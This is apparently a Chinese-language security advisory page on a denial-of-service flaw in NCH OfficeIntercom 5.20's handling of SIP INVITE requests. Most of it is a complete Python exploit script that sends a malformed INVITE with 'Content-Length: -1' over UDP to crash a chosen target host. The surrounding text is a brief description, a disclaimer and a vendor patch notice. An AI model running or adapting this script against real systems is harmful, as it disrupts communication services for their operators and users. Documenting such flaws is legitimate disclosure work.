NCH Software Office Intercom SIP "INVITE"请求拒绝服务漏洞

受影响系统:

NCH Software OfficeIntercom 5.20

描述:

OfficeIntercom是网络聊天工具,通过PC、袖珍PC及智能电话通过互联网或本地网络和其他人交流。

OfficeIntercom在实现上存在漏洞,远程攻击者可利用此漏洞造成拒绝服务或执行远程代码。

此漏洞源于未能正确处理特制的SIP "INVITE"请求,在"Content-Length"报头中指定了特大的值由于空指针引用可触发漏洞。

<*来源:Xsploited Security (http://www.x-sploited.com/)
  *>

测试方法:
以下程序(方法)可能带有攻击性,仅供安全研究与教学之用。使用者风险自负!

 

Xsploited Security (http://www.x-sploited.com/)提供了如下测试方法:

#!/usr/bin/python

# Exploit Title: NCH Officeintercom <= v5.20 Remote Denial of Service Vulnerability
# Date: 11/24/2010
# Author: xsploited security
# URL:
http://www.x-sploited.com/
# Contact: xsploitedsecurity [at] x-sploited.com
# Software Link:
http://www.nch.com.au/oi/oisetup.exe
# Version: <= v5.20
# Tested on: Windows XP SP3
# CVE : N/A

### Software Description: ###
# Officeintercom lets you use your PC, Pocket PC and Smartphone to speak to others over the internet or a local area
# network with simple "push-to-talk" technology. It works as a virtual IP intercom and feels a little like using a CB
# radio.
# Talk to anyone else who has installed OfficeIntercom anywhere in the world from your PC or Pocket PC device. OfficeIntercom
# is designed to be fast and easy to use and, in an office environment, no cabling is be required to run OfficeIntercom
# because it uses the existing computer network.

### Exploit information: ###
# NCH Office Intercom is prone to a remote denial of service attack when parsing a maliscous SIP invite request.
# If the Content-Length field has a value of -1 (or a large integer such as 3645363) the server will crash due to a NULL pointer
# reference, causing an access violation.

### Shouts: ###
# kaotix, MaX, corelanc0d3r/corelan team, exploit-db, packetstormsecurity, all other infosec researchers and websites
#
# "When you know that you’re capable of dealing with whatever comes, you have the only security the world has to offer."
#           -Harry Browne
###

import sys,socket

if len(sys.argv) < 2:
    print "[!] Error, Usage: " + sys.argv[0]+ " <Target IP> [Port]"
    sys.exit(1)

about = "================================================\n"
about += "Title: Officeintercom <= v5.20 Remote DoS POC\n"
about +=  "Author: xsploited security\nURL:
http://www.x-sploited.com/\n"
about +=  "Contact: xsploitedsecurity [at] gmail.com\n"
about +=  "Shouts: kAoTiX, MaX, corelanc0d3r/corelan team,\nexploit-db, packetstormsecurity, and all other sites\n"
about +=  "================================================\n"
print about

host = sys.argv[1]

if len(sys.argv) > 2:
    port = int(sys.argv[2])
else:
    port = 5060 #Default

payload = ("INVITE sip:105@" + host + " SIP/2.0\r\n"
"To: <sip:" + host + ":5060>\r\n"
"Via: SIP/2.0/UDP localhost:10000\r\n"
"From: \x22xsploitedsec\x22<sip:" + host + ":10000>\r\n"
"Call-ID: f81d4fae7dec11d0a76500a0c91e6bf6@localhost\r\n"
"CSeq: 1 INVITE\r\n"
"Max-Forwards: 70\r\n"
"Content-Type: application/sdp\r\n"
"Content-Length: -1\r\n\r\n");

s = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
print "[*] Sending evil SIP request to " + host + ":" + str(port)
s.sendto(payload,(host,port))
print "[*] Data sent successfully"
print "[*] Exiting…"
s.close()

建议:

厂商补丁:

NCH Software
————
目前厂商还没有提供补丁或者升级程序,我们建议使用此软件的用户随时关注厂商的主页以获取最新版本:

http://www.nch.com.au/oi/

发表评论?

0 条评论。

发表评论